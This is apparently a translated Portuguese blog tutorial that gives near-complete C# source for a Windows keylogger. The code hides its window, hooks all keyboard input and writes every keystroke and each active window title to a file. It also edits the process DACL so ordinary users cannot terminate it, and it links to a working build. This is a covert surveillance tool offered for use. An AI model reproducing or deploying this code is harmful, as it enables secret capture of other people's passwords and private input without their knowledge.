Keylogger para Windows com alteração de direitos na DACL

Aqui consideraremos a criação do Keylogger baseado em .Net C # com chamadas para funções do sistema. As funções do sistema são descritas brevemente, mas é melhor ler a documentação oficial da Microsoft. O link para o repositório com a montagem de trabalho é fornecido no final, assim como o link para a documentação.

O que será implementado:

  • Registro de entrada do teclado.
  • Registrando a janela ativa.
  • Bloqueando um processo de um usuário sem privilégios de administrador.
  • Parando o processo por atalho de teclado.

Para escrever, você precisará de C #, conhecimento da API do Windows e do Windows DACL.

Portanto, analisaremos vários tipos de códigos do sistema que serão necessários, cada tipo será armazenado em um Enum separado.

Tipos de ganchos.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

Para capturar todos os eventos relacionados ao teclado, você precisa do tipo WH_KEYBOARD_LL . Todos os outros tipos de ganchos exigem a implementação de DLLs separadas, exceto para outro gancho WH_MOUSE_LL - eventos relacionados ao mouse.

Tipos de eventos associados ao teclado, pressionando e soltando uma tecla.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

Gravaremos os caracteres de entrada liberando a chave - WM_KEYUP .

Separadamente, tipos para capturar a transição de um usuário de uma janela de aplicativo para outra.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Enum para usar o atalho de teclado para desativar o programa.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

Para implementar todos os pontos, primeiro crie o formulário e oculte-o do usuário. É suficiente substituir o método básico SetVisibleCore.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

O formulário será iniciado quando o programa for iniciado.

 Application.Run(HiddenForm); 

Existe um formulário e agora você precisa adicionar a função principal - interceptando a entrada do teclado. Usamos o método Win API SetWindowsHookEx , os seguintes parâmetros serão passados:

  • O tipo de gancho é WH_KEYBOARD_LL.
  • Função de retorno de chamada o método que deve lidar com todos os eventos relacionados ao teclado.
  • ID do módulo atual .
  • O identificador de encadeamento é 0. Zero, para que o gancho seja associado a todos os encadeamentos.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

O próprio método que processa o gancho. Ele possui vários parâmetros, nCode - para entender se é necessário processar o evento atual ou transmitir imediatamente,
wParam - tipo de evento (pressionando ou soltando uma tecla), lParam - caractere atualmente pressionado. Em essência, lParam é uma matriz de bytes; portanto, informações adicionais são armazenadas nela, por exemplo, o número de caracteres se o usuário mantém a chave e a máquina na qual o processamento é realizado é lenta.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Essa implementação grava um caractere somente depois que o usuário libera a chave. Para registrar o número de caracteres, você precisa implementar um caso do tipo WM_KEYDOWN .

O método SetKeysState é usado para saber quais chaves adicionais de estado são, por exemplo, chaves que afetam o caso.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState é outro método da API do Win através do qual você pode descobrir o status pelo código da chave.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

No método GetSymbol , o código de layout do teclado GetKeyboardLayout para a janela atual é solicitado primeiro e, em seguida, ToUnicodeEx para obter o caractere, ambos os métodos da API do Win. Se as chaves que afetam o caso estiverem envolvidas, o caractere deverá ser convertido para maiúsculas.

Isso será suficiente para registrar a entrada do teclado. Mas para gravar a janela ativa atual, você precisa usar outro gancho.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

O tipo EVENT_SYSTEM_FOREGROUND é necessário para rastrear alterações na janela ativa. E WINEVENT_OUTOFCONTEXT indica que o método callBack está em nosso aplicativo.

O método passado para a cadeia de ganchos contém muitos parâmetros que podem ser úteis em uma implementação mais detalhada; nesse caso, basta descobrir a janela ativa e seu título.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

Ou seja, cada evento de alteração de janela será gravado. E no GetActiveWindowTitle, basta usar alguns métodos GetForegroundWindow da API do Win - descubra o identificador da janela ativa atual, depois de solicitar o título usando GetWindowText .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

Até esse ponto, todas as chamadas de função do sistema foram recebidas das bibliotecas User32 e Kernel32 . O próximo passo é usar a biblioteca advapi32 .

O terceiro passo é impedir que o usuário médio conclua o processo de gravação da entrada do teclado. Primeiro, você precisa obter um identificador para esse processo e depois alterá-lo adicionando uma entrada à DACL .

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

O descritor de processo é recebido através de GetKernelObjectSecurity , o método é chamado duas vezes, primeiro obtemos o comprimento do descritor e a segunda chamada retorna o descritor de processo diretamente.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

Após alterar o descritor, é necessário inserir essas informações no processo atual. Basta passar o identificador e o descritor do processo para o método do sistema SetKernelObjectSecurity .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

A etapa final é parar o processo usando uma combinação de teclas.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

Aqui, a tecla é um atalho de teclado e o identificador de um formulário oculto. Para reconhecer a combinação de teclas no formulário, keyId é criado, pelo qual é possível verificar a operação da combinação de teclas. E tudo isso é escrito através do método da API Win RegisterHotKey .

E para finalmente parar o processo, redefinimos o método WndProc no formulário.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

Links úteis:

Link do Repositório
Link para a documentação da MS.

Source: https://habr.com/ru/post/pt482644/


All Articles